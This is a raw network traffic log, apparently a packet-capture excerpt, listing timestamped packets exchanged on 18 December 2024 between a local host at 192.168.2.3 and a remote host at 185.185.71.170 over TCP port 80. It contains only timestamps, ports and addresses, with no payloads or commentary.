Dec 18, 2024 20:56:45.741903067 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.742686033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.742705107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.742837906 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.743594885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.743619919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.743706942 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.744627953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.744642973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.744713068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.745414972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.745436907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.745441914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.745512009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.746321917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.746337891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.746479034 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.747203112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.747210979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.747301102 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.748132944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.748141050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.748191118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.749078989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.749088049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.749099016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.749178886 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.749967098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.749982119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.750061035 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.750896931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.750914097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.750967026 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.751732111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.751739025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.751749992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.751790047 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.756944895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.757059097 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.757142067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.757149935 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.757214069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.757962942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.758435011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.758444071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.758533001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.759237051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.759246111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.759335995 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.760050058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.760224104 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.760374069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.760396957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.760549068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.761362076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.761377096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.761610985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.762258053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.762267113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.762432098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.763115883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.763123989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.763200998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.764020920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.764035940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.764045000 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.764144897 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.764902115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.764910936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.765002012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.765908957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.765928984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.765990973 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.766766071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.766787052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.766844034 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.767668962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.767690897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.767724037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.768532038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.768542051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.768553019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.768591881 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.769414902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.769423962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.769556046 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.770338058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.770345926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.770432949 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.771213055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.771222115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.771337032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.772156000 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.772164106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.772176027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.772219896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.821938038 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.898622990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.898787022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.898878098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.898935080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.899365902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.899372101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.899481058 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.900129080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.900211096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.900568008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.900576115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.900774956 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.901137114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.901151896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.901410103 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.902060986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.902385950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.902393103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.902484894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.903295994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.903311014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.903345108 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.904190063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.904198885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.904254913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.905143023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.905150890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.905190945 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.905973911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.905982971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.905994892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.906033993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.906922102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.906929970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.906980991 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.907823086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.907838106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.907891989 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.908668041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.908675909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.908723116 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.909610987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.909624100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.909630060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.909701109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.910495043 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.910509109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.910672903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.911422968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.911428928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.911482096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.931019068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.931107998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.931231022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.931243896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.931330919 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.932081938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.932092905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.932163000 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.932867050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.933326006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.933336020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.933496952 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.934077978 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.934102058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.934212923 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.935014963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.935023069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.935110092 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.935730934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.935738087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.936182976 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.936641932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.936661005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.936718941 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.937529087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.937541008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.937635899 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.938390017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.938396931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.938453913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.939254045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.939260960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.939271927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.939307928 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.940169096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.940186024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.940248013 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.941093922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.941101074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.941169977 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.942038059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.942044973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.942133904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.942881107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.942888021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.942898989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.942939997 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.943773985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.943834066 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.944751024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.949938059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.950167894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.950305939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.950356007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.950501919 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.951138020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.951144934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.951268911 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.952064991 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.952303886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.952311993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.952521086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.953254938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.953262091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.953392982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.954128981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.954137087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.954310894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.955041885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.955049992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.955174923 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.955949068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.955957890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.955970049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.956006050 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.956075907 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.956907988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.956916094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.957011938 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.957801104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.957815886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.957870007 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.958631992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.958640099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.958697081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.959717989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.959726095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.959732056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.959820986 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.960402012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.960419893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.960442066 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.961330891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.961338997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.961488962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.962227106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.962234974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.962291956 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.963169098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.963176966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.963283062 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.964010954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.964019060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.964024067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.964085102 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.964958906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.964967012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:45.965014935 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:45.965816975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.009370089 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.090759039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.090909958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.091047049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.091113091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.091470003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.091480970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.091535091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.092317104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.092372894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.092792988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.092808008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.092850924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.093259096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.093300104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.093348026 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.094156981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.096066952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.096077919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.096143007 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.096872091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.096892118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.096915007 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.097774029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.097784042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.097839117 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.098686934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.098697901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.098711014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.098745108 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.098763943 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.099745989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.099767923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.099817991 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.100526094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.100579977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.100646019 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.101389885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.101409912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.101442099 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.102303028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.102317095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.102332115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.102360964 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.103171110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.103193045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.103214979 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.104163885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.104201078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.104253054 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.105076075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.105093002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.105142117 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.123307943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.123501062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.123512983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.123615980 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.124214888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.124706984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.124716997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.124772072 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.126420975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.126430035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.126555920 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.127289057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.127341032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.128181934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.129209042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.129252911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.129273891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.129980087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.129992962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.130057096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.130872965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.131798029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.131812096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.131989002 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.132658958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.132668018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.132680893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.132888079 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:46.133527040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:46.133543015 CET	80	49747	185.185.71.170	192.168.2.3
